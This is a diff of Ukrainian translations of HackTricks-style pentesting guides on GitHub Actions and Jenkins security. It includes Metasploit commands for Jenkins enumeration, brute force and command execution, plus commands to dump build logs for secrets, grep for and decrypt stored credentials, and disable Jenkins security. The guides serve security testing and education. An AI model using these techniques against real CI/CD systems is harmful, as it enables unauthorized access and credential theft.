[https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів додатка, він зможе отримати доступ до деяких з них. -- Ви можете побачити встановлені додатки в **організації** у _https://github.com/organizations/\/settings/installations_ +- Ви можете побачити встановлені додатки в **організації** в _https://github.com/organizations/\/settings/installations_ Деякі рекомендації з безпеки: -- GitHub App має **виконувати дії незалежно від користувача** (якщо додаток не використовує [токен користувача до сервера](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Щоб зберегти токени доступу користувача до сервера більш безпечними, ви можете використовувати токени доступу, які закінчуються через 8 годин, і токен оновлення, який можна обміняти на новий токен доступу. Для отримання додаткової інформації дивіться "[Оновлення токенів доступу користувача до сервера](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- GitHub App має **виконувати дії незалежно від користувача** (якщо додаток не використовує [токен користувача до сервера](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Щоб зберегти токени доступу користувача до сервера більш безпечними, ви можете використовувати токени доступу, які будуть дійсні протягом 8 годин, і токен оновлення, який можна обміняти на новий токен доступу. Для отримання додаткової інформації дивіться "[Оновлення токенів доступу користувача до сервера](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." - Переконайтеся, що GitHub App інтегрується з **конкретними репозиторіями**. - GitHub App має **підключатися до особистого облікового запису або організації**. -- Не очікуйте, що GitHub App знатиме і робитиме все, що може користувач. +- Не очікуйте, що GitHub App знатиме і робитиме все, що може зробити користувач. - **Не використовуйте GitHub App, якщо вам просто потрібен сервіс "Увійти з GitHub"**. Але GitHub App може використовувати [потік ідентифікації користувача](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) для входу користувачів _і_ виконання інших дій. - Не створюйте GitHub App, якщо ви _лише_ хочете діяти як користувач GitHub і робити все, що може зробити цей користувач. - Якщо ви використовуєте свій додаток з GitHub Actions і хочете змінити файли робочого процесу, ви повинні аутентифікуватися від імені користувача з токеном OAuth, який включає обсяг `workflow`. Користувач повинен мати адміністративні або записні дозволи на репозиторій, що містить файл робочого процесу. Для отримання додаткової інформації дивіться "[Розуміння обсягів для OAuth додатків](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." @@ -140,15 +140,15 @@ Git дії дозволяють автоматизувати **виконанн ### Налаштування -У _https://github.com/organizations/\/settings/actions_ можливо перевірити **налаштування github actions** для організації. +У _https://github.com/organizations/\/settings/actions_ можна перевірити **налаштування github actions** для організації. -Можливо заборонити використання github actions повністю, **дозволити всі github actions**, або просто дозволити певні дії. +Можна заборонити використання github actions повністю, **дозволити всі github actions** або просто дозволити певні дії. -Також можливо налаштувати **хто потребує схвалення для виконання Github Action** та **дозволи GITHUB_TOKEN** Github Action, коли вона виконується. +Також можна налаштувати **хто потребує схвалення для запуску Github Action** та **дозволи GITHUB_TOKEN** Github Action, коли вона запускається. ### Git Secrets -Github Action зазвичай потребують певних секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути їх розміщення у відкритому тексті** в репозиторії, github дозволяє розміщувати їх як **Secrets**. +Github Action зазвичай потребує деяких секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути їх розміщення у відкритому тексті** в репозиторії, github дозволяє розміщувати їх як **Secrets**. Ці секрети можуть бути налаштовані **для репозиторію або для всієї організації**. Тоді, щоб **Action могла отримати доступ до секрету**, вам потрібно оголосити його так: ```yaml @@ -168,75 +168,75 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Secrets **можна отримати лише з Github Actions**, які їх оголосили. +> Секрети **можна отримати лише з Github Actions**, які їх оголосили. -> Після налаштування в репозиторії або організаціях **користувачі github більше не зможуть отримати до них доступ**, вони зможуть лише **змінювати їх**. +> Після налаштування в репозиторії або організаціях **користувачі github не зможуть отримати до них доступ знову**, вони зможуть лише **змінювати їх**. Отже, **єдиний спосіб вкрасти секрети github - це мати доступ до машини, яка виконує Github Action** (в цьому сценарії ви зможете отримати доступ лише до секретів, оголошених для Action). ### Git Environments -Github дозволяє створювати **середовища**, де ви можете зберігати **секрети**. Потім ви можете надати github action доступ до секретів всередині середовища за допомогою чогось на кшталт: +Github дозволяє створювати **середовища**, де ви можете зберігати **секрети**. Потім ви можете надати github action доступ до секретів всередині середовища за допомогою чогось на зразок: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **доступним** by **всіма гілками** (за замовчуванням), **тільки захищеними** гілками або **вказати**, які гілки можуть отримати доступ до нього.\ -It can also set a **кількість необхідних оглядів** before **виконання** an **дії** using an **середовище** or **чекати** some **час** before allowing deployments to proceed. +Ви можете налаштувати середовище, щоб до нього **мали доступ** **всі гілки** (за замовчуванням), **тільки захищені** гілки або **вказати**, які гілки можуть отримати доступ до нього.\ +Також можна встановити **кількість необхідних перевірок** перед **виконанням** **дії** за допомогою **середовища** або **почекати** деякий **час** перед тим, як дозволити розгортання. ### Git Action Runner -A Github Action can be **виконано всередині середовища github** or can be executed in a **інфраструктурі третьої сторони** configured by the user. +Github Action може бути **виконаний у середовищі github** або може бути виконаний на **інфраструктурі третьої сторони**, налаштованій користувачем. -Several organizations will allow to run Github Actions in a **інфраструктурі третьої сторони** as it use to be **дешевше**. +Декілька організацій дозволяють запускати Github Actions на **інфраструктурі третьої сторони**, оскільки це зазвичай **дешевше**. -You can **перелічити самостійно хостовані ранери** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Ви можете **перелічити самостійно хостовані ранери** організації за адресою _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +Спосіб знайти, які **Github Actions виконуються в не-github інфраструктурі**, - це шукати `runs-on: self-hosted` у конфігурації yaml Github Action. -It's **неможливо запустити Github Action організації всередині самостійно хостованої коробки** of a different organization because **унікальний токен генерується для Ранера** when configuring it to know where the runner belongs. +**Неможливо запустити Github Action організації всередині самостійно хостованого середовища** іншої організації, оскільки **унікальний токен генерується для Ранера** під час його налаштування, щоб знати, до якої організації належить ранер. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **може отримати доступ до метаданих** and **викрасти токен сервісного облікового запису** the machine is running with. +Якщо кастомний **Github Runner налаштований на машині всередині AWS або GCP**, наприклад, Action **може отримати доступ до кінцевої точки метаданих** і **викрасти токен облікового запису служби**, з яким працює машина. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **шкідливим** and will **скомпрометувати** the **контейнер** where it's being executed. +Якщо всі дії (або шкідлива дія) дозволені, користувач може використовувати **Github action**, яка є **шкідливою** і **скомпрометує** **контейнер**, в якому вона виконується. > [!CAUTION] -> A **шкідливий Github Action** run could be **зловжито** by the attacker to: +> Запуск **шкідливої Github Action** може бути **зловжито** зловмисником для: > -> - **Викрасти всі секрети** the Action has access to -> - **Переміщатися латерально** if the Action is executed inside a **інфраструктурі третьої сторони** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Зловживати токеном** used by the **workflow** to **викрасти код репозиторію** where the Action is executed or **навіть змінити його**. +> - **Викрадення всіх секретів**, до яких має доступ Action +> - **Бічного переміщення**, якщо Action виконується в **інфраструктурі третьої сторони**, де можна отримати доступ до токена SA, що використовується для запуску машини (можливо, через сервіс метаданих) +> - **Зловживання токеном**, що використовується **робочим процесом**, щоб **викрасти код репозиторію**, в якому виконується Action, або **навіть змінити його**. ## Branch Protections -Branch protections are designed to **не надавати повний контроль над репозиторієм** to the users. The goal is to **встановити кілька методів захисту перед тим, як зможете писати код всередині деякої гілки**. +Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як мати можливість писати код у деякій гілці**. -The **захисти гілок репозиторію** can be found in _https://github.com/\/\/settings/branches_ +**Захисти гілок репозиторію** можна знайти за адресою _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **неможливо встановити захист гілки на рівні організації**. So all of them must be declared on each repo. +> **Неможливо встановити захист гілки на рівні організації**. Тому всі вони повинні бути оголошені в кожному репозиторії. -Different protections can be applied to a branch (like to master): +Різні захисти можуть бути застосовані до гілки (наприклад, до master): -- You can **вимагати PR перед злиттям** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Вимагати кількість схвалень**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Скасувати схвалення, коли нові коміти додаються**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Вимагати оглядів від Власників коду**. At least 1 code owner of the repo needs to approve the PR (so "випадкові" користувачі не можуть його схвалити) -- **Обмежити, хто може скасувати огляди запитів на злиття.** You can specify people or teams allowed to dismiss pull request reviews. -- **Дозволити вказаним акторам обійти вимоги запиту на злиття**. These users will be able to bypass previous restrictions. -- **Вимагати, щоб перевірки статусу пройшли перед злиттям.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Вимагати вирішення розмови перед злиттям**. All comments on the code needs to be resolved before the PR can be merged. -- **Вимагати підписаних комітів**. The commits need to be signed. -- **Вимагати лінійної історії.** Prevent merge commits from being pushed to matching branches. -- **Включити адміністраторів**. If this isn't set, admins can bypass the restrictions. -- **Обмежити, хто може надсилати до відповідних гілок**. Restrict who can send a PR. +- Ви можете **вимагати PR перед злиттям** (тому ви не можете безпосередньо зливати код у гілку). Якщо це вибрано, можуть бути застосовані різні інші захисти: +- **Вимагати кількість схвалень**. Дуже поширено вимагати, щоб 1 або 2 інші особи схвалили ваш PR, щоб одна особа не могла безпосередньо зливати код. +- **Відхиляти схвалення, коли нові коміти додаються**. Якщо ні, користувач може схвалити легітимний код, а потім користувач може додати шкідливий код і злити його. +- **Вимагати перевірок від Власників Коду**. Принаймні 1 власник коду репозиторію повинен схвалити PR (щоб "випадкові" користувачі не могли його схвалити) +- **Обмежити, хто може відхиляти перевірки запитів на злиття.** Ви можете вказати людей або команди, яким дозволено відхиляти перевірки запитів на злиття. +- **Дозволити вказаним акторам обійти вимоги запиту на злиття**. Ці користувачі зможуть обійти попередні обмеження. +- **Вимагати, щоб перевірки статусу пройшли перед злиттям.** Деякі перевірки повинні пройти перед тим, як зможете злити коміт (наприклад, github action, що перевіряє, чи немає явних секретів). +- **Вимагати вирішення розмови перед злиттям**. Усі коментарі до коду повинні бути вирішені перед тим, як PR може бути злитий. +- **Вимагати підписаних комітів**. Коміти повинні бути підписані. +- **Вимагати лінійної історії.** Запобігти злиттю комітів, які були надіслані до відповідних гілок. +- **Включити адміністраторів**. Якщо це не встановлено, адміністратори можуть обійти обмеження. +- **Обмежити, хто може надсилати до відповідних гілок**. Обмежити, хто може надіслати PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **репозиторії можуть бути захищені, що заважає вам надсилати код до master** for example to compromise the CI/CD pipeline. +> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам надсилати код до master**, наприклад, щоб скомпрометувати CI/CD pipeline. ## References diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 1712d2a81..295aa924d 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація Jenkins - це інструмент, який пропонує простий спосіб створення середовища **безперервної інтеграції** або **безперервної доставки** (CI/CD) для майже **будь-якої** комбінації **мов програмування** та репозиторіїв вихідного коду за допомогою конвеєрів. Крім того, він автоматизує різні рутинні завдання розробки. Хоча Jenkins не усуває **необхідність створення скриптів для окремих кроків**, він забезпечує швидший і надійніший спосіб інтеграції всього послідовності інструментів збірки, тестування та розгортання, ніж той, який можна легко створити вручну. @@ -10,9 +10,9 @@ Jenkins - це інструмент, який пропонує простий с basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration +## Неавтентифіковане перерахування -Щоб шукати цікаві сторінки Jenkins без аутентифікації, такі як (_/people_ або _/asynchPeople_, це перераховує поточних користувачів), ви можете використовувати: +Щоб шукати цікаві сторінки Jenkins без автентифікації, такі як (_/people_ або _/asynchPeople_, це перераховує поточних користувачів), ви можете використовувати: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` @@ -20,9 +20,9 @@ msf> use auxiliary/scanner/http/jenkins_enum ``` msf> use auxiliary/scanner/http/jenkins_command ``` -Без облікових даних ви можете заглянути всередину _**/asynchPeople/**_ або _**/securityRealm/user/admin/search/index?q=**_ для **імен користувачів**. +Без облікових даних ви можете переглянути вміст _**/asynchPeople/**_ або _**/securityRealm/user/admin/search/index?q=**_ для **імен користувачів**. -Ви можете отримати версію Jenkins з шляху _**/oops**_ або _**/error**_ +Ви можете отримати версію Jenkins з шляху _**/oops**_ або _**/error**_. ![](<../../images/image (146).png>) @@ -46,7 +46,7 @@ basic-jenkins-information.md ### **SSO Вхід** -Також, якщо **функціональність**/**плагіни** **SSO** були присутні, то вам слід спробувати **увійти** в додаток, використовуючи тестовий обліковий запис (тобто тестовий **Github/Bitbucket обліковий запис**). Трюк з [**тут**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Також, якщо **функціональність**/**плагіни** **SSO** були присутні, то ви повинні спробувати **увійти** в додаток, використовуючи тестовий обліковий запис (тобто, тестовий **Github/Bitbucket обліковий запис**). Трюк з [**тут**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Брутфорс @@ -60,9 +60,9 @@ msf> use auxiliary/scanner/http/jenkins_login ### IP Whitelisting Bypass -Багато організацій поєднують **SaaS-based source control management (SCM) systems** такі як GitHub або GitLab з **внутрішнім, самостійно розгорнутим CI** рішенням, таким як Jenkins або TeamCity. Це налаштування дозволяє CI системам **отримувати webhook події від постачальників SaaS source control**, в основному для запуску завдань конвеєра. +Багато організацій поєднують **SaaS-системи управління вихідним кодом (SCM)**, такі як GitHub або GitLab, з **внутрішнім, самостійно розгорнутим CI** рішенням, таким як Jenkins або TeamCity. Така конфігурація дозволяє CI системам **отримувати події вебхуків від постачальників SaaS управління вихідним кодом**, в основному для запуску завдань конвеєра. -Щоб досягти цього, організації **дозволяють** **IP-діапазони** **SCM платформ**, дозволяючи їм отримувати доступ до **внутрішньої CI системи** через **webhooks**. Однак важливо зазначити, що **будь-хто** може створити **обліковий запис** на GitHub або GitLab і налаштувати його для **тригера webhook**, потенційно надсилаючи запити до **внутрішньої CI системи**. +Щоб досягти цього, організації **дозволяють** **IP-діапазони** **платформ SCM**, дозволяючи їм отримувати доступ до **внутрішньої CI системи** через **вебхуки**. Однак важливо зазначити, що **будь-хто** може створити **обліковий запис** на GitHub або GitLab і налаштувати його для **тригера вебхука**, потенційно надсилаючи запити до **внутрішньої CI системи**. Перевірте: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) @@ -71,7 +71,7 @@ msf> use auxiliary/scanner/http/jenkins_login У цих сценаріях ми будемо припускати, що у вас є дійсний обліковий запис для доступу до Jenkins. > [!WARNING] -> Залежно від механізму **Authorization**, налаштованого в Jenkins, і дозволів скомпрометованого користувача, ви **можете або не можете виконати наступні атаки.** +> Залежно від механізму **Авторизації**, налаштованого в Jenkins, і дозволів скомпрометованого користувача, ви **можете або не можете виконати наступні атаки.** Для отримання додаткової інформації перевірте основну інформацію: @@ -85,7 +85,7 @@ basic-jenkins-information.md ### Dumping builds to find cleartext secrets -Використовуйте [цей скрипт](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) для вивантаження консолей збірок та змінних середовища збірки, щоб сподіватися знайти відкриті секрети. +Використовуйте [цей скрипт](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) для вивантаження консолей збірок та змінних середовища збірки, щоб сподіватися знайти секрети у відкритому тексті. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps @@ -97,7 +97,7 @@ gitleaks detect --no-git -v ![](<../../images/image (218).png>) -Ви зазвичай знайдете облікові дані Jenkins ssh у **глобальному провайдері** (`/credentials/`), тому ви також можете їх скинути так, як ви скинули б будь-яку іншу таємницю. Більше інформації в [**Розділі скидання секретів**](./#dumping-secrets). +Ви зазвичай знайдете облікові дані ssh Jenkins у **глобальному постачальнику** (`/credentials/`), тому ви також можете їх скинути, як і будь-яку іншу таємницю. Більше інформації в [**Розділі скидання секретів**](./#dumping-secrets). ### **RCE в Jenkins** @@ -107,7 +107,7 @@ gitleaks detect --no-git -v ### **RCE Створення/Модифікація проекту** -Створення/модифікація проекту є способом отримання RCE над сервером Jenkins: +Створення/модифікація проекту є способом отримання RCE на сервері Jenkins: {{#ref}} jenkins-rce-creating-modifying-project.md @@ -115,7 +115,7 @@ jenkins-rce-creating-modifying-project.md ### **RCE Виконання Groovy скрипту** -Ви також можете отримати RCE, виконуючи Groovy скрипт, який може бути більш непомітним, ніж створення нового проекту: +Ви також можете отримати RCE, виконуючи Groovy скрипт, який може бути менш помітним, ніж створення нового проекту: {{#ref}} jenkins-rce-with-groovy-script.md @@ -151,7 +151,7 @@ jenkins-rce-creating-modifying-pipeline.md - **Оновлення основної гілки** і очікування, поки вона буде виконана якимось чином > [!NOTE] -> Якщо ви **зовнішній користувач**, вам не слід очікувати, що ви зможете створити **PR до основної гілки** репозиторію **іншого користувача/організації** і **запустити pipeline**... але якщо це **погано налаштовано**, ви могли б повністю **скомпрометувати компанії, просто експлуатуючи це**. +> Якщо ви **зовнішній користувач**, вам не слід очікувати, що ви зможете створити **PR до основної гілки** репозиторію **іншого користувача/організації** і **запустити pipeline**... але якщо він **погано налаштований**, ви можете повністю **скомпрометувати компанії, просто експлуатуючи це**. ### Pipeline RCE @@ -184,7 +184,7 @@ basic-jenkins-information.md Облікові дані можуть бути **обмежені глобальними постачальниками** (`/credentials/`) або **конкретними проектами** (`/job//configure`). Тому, щоб ексфільтрувати всі з них, вам потрібно **зламати принаймні всі проекти**, які містять секрети, і виконати користувацькі/отруйні конвеєри. -Є ще одна проблема: щоб отримати **секрет всередині env** конвеєра, вам потрібно **знати ім'я та тип секрету**. Наприклад, якщо ви намагаєтеся **завантажити** **секрет** **`usernamePassword`** як **`string`** **секрет**, ви отримаєте цю **помилку**: +Є ще одна проблема: щоб отримати **секрет всередині env** конвеєра, вам потрібно **знати ім'я та тип секрету**. Наприклад, якщо ви намагаєтеся **завантажити** **секрет** **`usernamePassword`** як **секрет** **`string`**, ви отримаєте цю **помилку**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` @@ -219,8 +219,8 @@ env В кінці цієї сторінки ви можете **знайти всі типи облікових даних**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> Найкращий спосіб **вивести всі секрети одразу** - це **компрометувати** машину **Jenkins** (наприклад, запустивши реверс-шелл у **вбудованому вузлі**) і потім **викрити** **майстер-ключі** та **зашифровані секрети** і розшифрувати їх офлайн.\ -> Більше про те, як це зробити, у розділі [Nodes & Agents](./#nodes-and-agents) та в розділі [Post Exploitation](./#post-exploitation). +> Найкращий спосіб **вивантажити всі секрети одразу** - це **зламати** машину **Jenkins** (наприклад, запустивши реверс-шелл у **вбудованому вузлі**) і потім **викрити** **майстер-ключі** та **зашифровані секрети** і розшифрувати їх офлайн.\ +> Більше про те, як це зробити, в розділі [Nodes & Agents](./#nodes-and-agents) та в розділі [Post Exploitation](./#post-exploitation). ### Тригери @@ -234,7 +234,7 @@ triggers { cron('H */4 * * 1-5') } ### Вузли та Агенти -**Екземпляр Jenkins** може мати **різні агенти, що працюють на різних машинах**. З точки зору зловмисника, доступ до різних машин означає **різні потенційні облікові дані хмари** для крадіжки або **різний мережевий доступ**, який можна зловживати для експлуатації інших машин. +**Екземпляр Jenkins** може мати **різні агенти, що працюють на різних машинах**. З точки зору зловмисника, доступ до різних машин означає **різні потенційні облікові дані хмари** для викрадення або **різний мережевий доступ**, який може бути використаний для експлуатації інших машин. Для отримання додаткової інформації перевірте основну інформацію: @@ -242,13 +242,13 @@ triggers { cron('H */4 * * 1-5') } basic-jenkins-information.md {{#endref}} -Ви можете перерахувати **сконфігуровані вузли** в `/computer/`, зазвичай ви знайдете **`Вбудований Вузол`** (який є вузлом, що запускає Jenkins) і потенційно більше: +Ви можете перерахувати **сконфігуровані вузли** в `/computer/`, зазвичай ви знайдете \*\*`Вбудований Вузол` \*\* (який є вузлом, що виконує Jenkins) і потенційно більше: ![](<../../images/image (249).png>) Це **особливо цікаво скомпрометувати Вбудований вузол**, оскільки він містить чутливу інформацію Jenkins. -Щоб вказати, що ви хочете **запустити** **конвеєр** у **вбудованому вузлі Jenkins**, ви можете вказати в конвеєрі наступну конфігурацію: +Щоб вказати, що ви хочете **запустити** **конвеєр** на **вбудованому вузлі Jenkins**, ви можете вказати в конвеєрі наступну конфігурацію: ```bash pipeline { agent {label 'built-in'} @@ -286,7 +286,7 @@ cleanWs() } } ``` -## Довільне Читання Файлів до RCE +## Читання довільних файлів до RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Після Експлуатації +## Після експлуатації ### Metasploit ``` @@ -314,7 +314,7 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins Secrets -Ви можете перерахувати секрети, отримавши доступ до `/credentials/`, якщо у вас достатньо прав. Зверніть увагу, що це лише перераховує секрети всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **більше облікових даних**. +Ви можете перерахувати секрети, отримуючи доступ до `/credentials/`, якщо у вас достатньо прав. Зверніть увагу, що це лише перераховує секрети всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **більше облікових даних**. Якщо ви можете **бачити конфігурацію кожного проекту**, ви також можете побачити там **імена облікових даних (секретів)**, які використовуються для доступу до репозиторію та **інших облікових даних проекту**. @@ -339,7 +339,7 @@ jenkins-dumping-secrets-from-groovy.md - jobs/.../build.xml - jobs/.../config.xml -Ось регулярний вираз, щоб їх знайти: +Ось регулярний вираз, щоб знайти їх: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` -#### Дешифрування секретів Jenkins офлайн +#### Декодування секретів Jenkins офлайн -Якщо ви скинули **необхідні паролі для дешифрування секретів**, використовуйте [**цей скрипт**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **для дешифрування цих секретів**. +Якщо ви скинули **необхідні паролі для декодування секретів**, використовуйте [**цей скрипт**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **для декодування цих секретів**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -359,7 +359,7 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` -#### Декодування секретів Jenkins з Groovy +#### Дешифрування секретів Jenkins з Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` @@ -369,8 +369,8 @@ println(hudson.util.Secret.decrypt("{...}")) 2. Знайдіть слово `true` і змініть слово **`true`** на **`false`**. 1. `sed -i -e 's/truefalsetrue` і **перезапустіть Jenkins знову**. +4. Тепер знову перейдіть до порталу Jenkins, і **Jenkins не запитає жодних облікових даних** цього разу. Ви можете перейти до "**Управління Jenkins**", щоб знову встановити **пароль адміністратора**. +5. **Увімкніть** знову **безпеку**, змінивши налаштування на `true` і **знову перезапустіть Jenkins**. ## Посилання diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 4b9d36574..707ef4f56 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -14,7 +14,7 @@ ### SSO/Плагіни -Jenkins можна налаштувати за допомогою плагінів, щоб він був **доступний через сторонній SSO**. +Jenkins можна налаштувати за допомогою плагінів, щоб бути **доступним через стороннє SSO**. ### Токени @@ -29,23 +29,23 @@ Jenkins можна налаштувати за допомогою плагіні У `/configureSecurity` можна **налаштувати метод авторизації Jenkins**. Є кілька варіантів: - **Будь-хто може робити що завгодно**: Навіть анонімний доступ може адмініструвати сервер. -- **Спадковий режим**: Те ж саме, що і Jenkins <1.164. Якщо у вас є **роль "admin"**, вам буде надано **повний контроль** над системою, а **в іншому випадку** (включаючи **анонімних** користувачів) ви матимете **доступ для читання**. +- **Режим спадщини**: Те ж саме, що і Jenkins <1.164. Якщо у вас є **роль "адміністратор"**, вам буде надано **повний контроль** над системою, а **в іншому випадку** (включаючи **анонімних** користувачів) ви матимете **доступ для читання**. - **Увійшли користувачі можуть робити що завгодно**: У цьому режимі кожен **увійшовший користувач отримує повний контроль** над Jenkins. Єдиний користувач, який не матиме повного контролю, - це **анонімний користувач**, який отримує лише **доступ для читання**. - **Матриця безпеки**: Ви можете налаштувати **хто може робити що** в таблиці. Кожен **стовпець** представляє **дозвіл**. Кожен **рядок** **представляє** **користувача або групу/роль.** Це включає спеціального користувача '**анонімний**', який представляє **неавтентифікованих користувачів**, а також '**автентифікований**', який представляє **всіх автентифікованих користувачів**. ![](<../../images/image (149).png>) -- **Стратегія авторизації на основі проекту:** Цей режим є **розширенням** до "**Матриці безпеки**", яке дозволяє визначити додаткову матрицю ACL для **кожного проекту окремо.** -- **Стратегія на основі ролей:** Дозволяє визначати авторизації за допомогою **стратегії на основі ролей**. Керуйте ролями у `/role-strategy`. +- **Стратегія авторизації на основі проекту:** Цей режим є **розширенням** до "**Матриці безпеки**", яке дозволяє додаткову матрицю ACL бути **визначеною для кожного проекту окремо.** +- **Стратегія на основі ролей:** Дозволяє визначати авторизації за допомогою **стратегії на основі ролей**. Керуйте ролями в `/role-strategy`. ## **Область безпеки** У `/configureSecurity` можна **налаштувати область безпеки.** За замовчуванням Jenkins включає підтримку кількох різних областей безпеки: -- **Делегувати контейнеру сервлетів**: Для **делегування аутентифікації контейнеру сервлетів, що запускає контролер Jenkins**, наприклад, [Jetty](https://www.eclipse.org/jetty/). +- **Делегувати контейнеру сервлетів**: Для **делегування аутентифікації контейнеру сервлетів, що працює на контролері Jenkins**, наприклад, [Jetty](https://www.eclipse.org/jetty/). - **Власна база даних користувачів Jenkins:** Використовуйте **вбудовану базу даних користувачів Jenkins** для аутентифікації замість делегування зовнішній системі. Це включено за замовчуванням. -- **LDAP**: Делегувати всю аутентифікацію до налаштованого LDAP сервера, включаючи як користувачів, так і групи. -- **База даних користувачів/груп Unix**: **Делегує аутентифікацію до бази даних користувачів на рівні Unix** на контролері Jenkins. Цей режим також дозволить повторно використовувати групи Unix для авторизації. +- **LDAP**: Делегувати всю аутентифікацію на налаштований LDAP сервер, включаючи як користувачів, так і групи. +- **База даних користувачів/груп Unix**: **Делегує аутентифікацію на базу даних користувачів Unix** на контролері Jenkins. Цей режим також дозволить повторно використовувати групи Unix для авторизації. Плагіни можуть надавати додаткові області безпеки, які можуть бути корисними для інтеграції Jenkins в існуючі системи ідентифікації, такі як: @@ -57,9 +57,9 @@ Jenkins можна налаштувати за допомогою плагіні Визначення з [документації](https://www.jenkins.io/doc/book/managing/nodes/): -**Вузли** - це **машини**, на яких працюють **агенти збірки**. Jenkins контролює кожен підключений вузол на наявність вільного місця на диску, вільного тимчасового місця, вільного обміну, часу/синхронізації годинника та часу відповіді. Вузол виводиться з експлуатації, якщо будь-яке з цих значень виходить за межі налаштованого порогу. +**Вузли** - це **машини**, на яких працюють **агенти збірки**. Jenkins контролює кожен підключений вузол на наявність вільного місця на диску, вільного тимчасового місця, вільного обміну, часу/синхронізації годинника та часу відгуку. Вузол виводиться з експлуатації, якщо будь-яке з цих значень виходить за межі налаштованого порогу. -**Агенти** **керують** **виконанням завдань** від імені контролера Jenkins, **використовуючи виконавців**. Агент може використовувати будь-яку операційну систему, яка підтримує Java. Інструменти, необхідні для збірок і тестів, встановлюються на вузлі, де працює агент; їх можна **встановити безпосередньо або в контейнері** (Docker або Kubernetes). Кожен **агент фактично є процесом зі своїм PID** на хост-машині. +**Агенти** **керують** **виконанням завдань** від імені контролера Jenkins, використовуючи **виконавців**. Агент може використовувати будь-яку операційну систему, яка підтримує Java. Інструменти, необхідні для збірок і тестів, встановлюються на вузлі, де працює агент; їх можна **встановити безпосередньо або в контейнері** (Docker або Kubernetes). Кожен **агент фактично є процесом зі своїм PID** на хост-машині. **Виконавець** - це **слот для виконання завдань**; фактично, це **потік в агенті**. 